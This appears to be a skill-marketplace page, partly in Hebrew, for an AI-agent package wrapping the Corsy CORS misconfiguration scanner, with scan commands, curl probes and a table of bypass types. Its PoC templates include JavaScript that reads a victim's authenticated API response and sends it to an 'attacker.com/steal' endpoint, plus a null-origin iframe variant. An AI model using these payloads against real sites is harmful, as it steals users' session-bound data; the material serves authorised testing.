corsy
Auth/lab ref: Corsy CORS policy scanner; origin reflection, null origin, wildcard, regex/prefix edge cases, API evidence.
v2026.11.13-21cd5684 התקנות+4 ב-7 ימים39 כוכביםMITסונכרן לפני 10 שעות
התקנה
עדיין אין לכם את ה-CLI של NotHoly? התקינו אותו קודם.
$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install aeondave/corsyנכתב אל ~/.notholy/skills אחרי בדיקת החתימה וה-SHA-256.
חתימהחתום, ed25519
חבילהe20c7e7d…a1fcb30d
e20c7e7d1ffb…20a5a1fcb30dשני קבצים · 3.1 KBסריקהנמוךממצא אחד
- קישורים לדומיינים חיצוניים
מקורgithub.com/AeonDave/malskill/tree/main/offensive-tools/web/corsy@21cd568
הפריט הזה עדיין לא נכתב בעברית, ולכן הוא מוצג בשפה אחרת: English.
בעמוד הזה
CORS misconfiguration scanner — 10+ vuln types, lightweight, fast.
Quick Start
git clone https://github.com/s0md3v/Corsy
cd Corsy && pip3 install requests
# Single URL
python3 corsy.py -u https://target.com
# With authentication
python3 corsy.py -u https://api.target.com -H "Authorization: Bearer TOKEN"
# Bulk scan from file
python3 corsy.py -i urls.txt -t 10
# JSON output
python3 corsy.py -u https://target.com --json > cors.jsonCore Flags
| Flag | Purpose |
|---|---|
-u <url> |
Single target URL |
-i <file> |
Input file with one URL per line |
-H "K: V" |
Custom header (auth, cookies) |
-t <N> |
Thread count (default: 2) |
-d <N> |
Delay between requests (ms) |
-q |
Quiet mode (no banner) |
--json |
JSON output |
Misconfiguration Types Detected
| Type | Condition | Exploitable |
|---|---|---|
| Origin Reflection | Server mirrors any Origin header | Critical if +credentials |
| Null Origin | null origin accepted |
Critical (iframe sandbox attack) |
| Pre-domain bypass | evil.target.com accepted |
High |
| Post-domain bypass | target.com.evil.com accepted |
High |
| Underscore bypass | target_evil.com accepted |
High |
| Backtick bypass | Origin with backtick accepted | High |
| Unescaped dot | Regex dot not escaped | Medium |
| Wildcard | Access-Control-Allow-Origin: * |
Medium (no credentials) |
| Wildcard + credentials | * + credentials: true |
Not exploitable (browser blocks) |
| Invalid value | Malformed CORS header | Info |
| Third-party allowed | Unknown domain trusted | High |
| HTTP on HTTPS | HTTP origin trusted | Medium |
Exploitation: What Makes CORS Exploitable
Critical = Access-Control-Allow-Origin: <reflected> + Access-Control-Allow-Credentials: true
# Manual test with curl
curl -H "Origin: https://attacker.com" https://api.target.com/profile -Iv 2>&1 | grep -i "access-control"
# Test null origin
curl -H "Origin: null" https://api.target.com/data -Iv 2>&1 | grep -i "access-control"
# Test pre-domain bypass
curl -H "Origin: https://eviltarget.com" https://api.target.com/ -Iv 2>&1 | grep -i "access-control"
# Preflight (OPTIONS) test
curl -X OPTIONS -H "Origin: https://attacker.com" \
-H "Access-Control-Request-Method: POST" \
https://api.target.com/data -IvPoC Templates
Reflected Origin + Credentials (Critical)
<script>
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open('GET', 'https://api.target.com/user/profile', true);
xhr.onload = function() {
fetch('https://attacker.com/steal?d=' + btoa(xhr.responseText));
};
xhr.send();
</script>Null Origin (via iframe sandbox)
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="
<script>
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open('GET', 'https://api.target.com/sensitive', true);
xhr.onload = function() { alert(xhr.responseText); };
xhr.send();
</script>
"></iframe>Common Workflows
# API endpoint scan with session cookie
python3 corsy.py -u https://api.target.com \
-H "Cookie: session=abc123; auth=token"
# Scan API paths list
cat api_endpoints.txt | python3 corsy.py -i /dev/stdin -t 20
# Full recon pipeline
cat domains.txt | httpx -silent | python3 corsy.py -i /dev/stdin --json > cors_results.jsonResources
| File | When to load |
|---|---|
references/cors-exploit.md |
Full PoC templates, CORS header explanation, pre-flight vs simple requests, impact examples |
הקבצים בגרסה הזו
references/15.3 KB
- cors-exploit.md5.3 KB
- SKILL.md3.8 KB
הרשאות
| הרשאה | הוצהר | נמצא בסריקה |
|---|---|---|
| קורא קבצים | כן | כן |
| כותב קבצים | כן | כן |
| מריץ פקודות shell | כן | כן |
| משתמש ברשת | כן | כן |
| משתמש במחברים | לא | לא |
| שולט בדפדפן | לא | לא |
ממצאי הסריקה
נבדק ב-13 בנוב׳ 2026
- מידעקישור · קישורים לדומיינים חיצוניים
סריקה נקייה מורידה את הסיכון, אבל לא מוכיחה שהחבילה בטוחה. כדאי לקרוא מה מתקינים.
| גרסה | פורסמה | Commit | SHA-256 | חתימה | שינוי בהרשאות |
|---|---|---|---|---|---|
| v2026.11.13-21cd568 | 13 בנוב׳ 2026 | 21cd568 | e20c7e7d | חתומה | – |
עוד מ-AeonDave
הכול מהמפרסם הזהעוד בקטגוריה Web ו-bug bounty
לקטגוריהשאלו כל מה שהסקופ מאפשר.
יוצרים חשבון, מוסיפים קרדיטים ושואלים את השאלה הראשונה בצ׳אט או בטרמינל.
- 1/3
יצירת חשבון
פרטי או חברה. אפשר לעבור לחשבון חברה אחר כך בלי לאבד יתרה או מפתחות.
פרטיחברה - 2/3
הוספת קרדיטים
בכרטיס אשראי. תשלום לפי טוקן, בלי מנוי.
$5.00טעינה מינימלית - 3/3
שאלה ראשונה
בצ׳אט, או להתקין את ה-CLI ולהריץ notholy login בטרמינל.
$ notholy login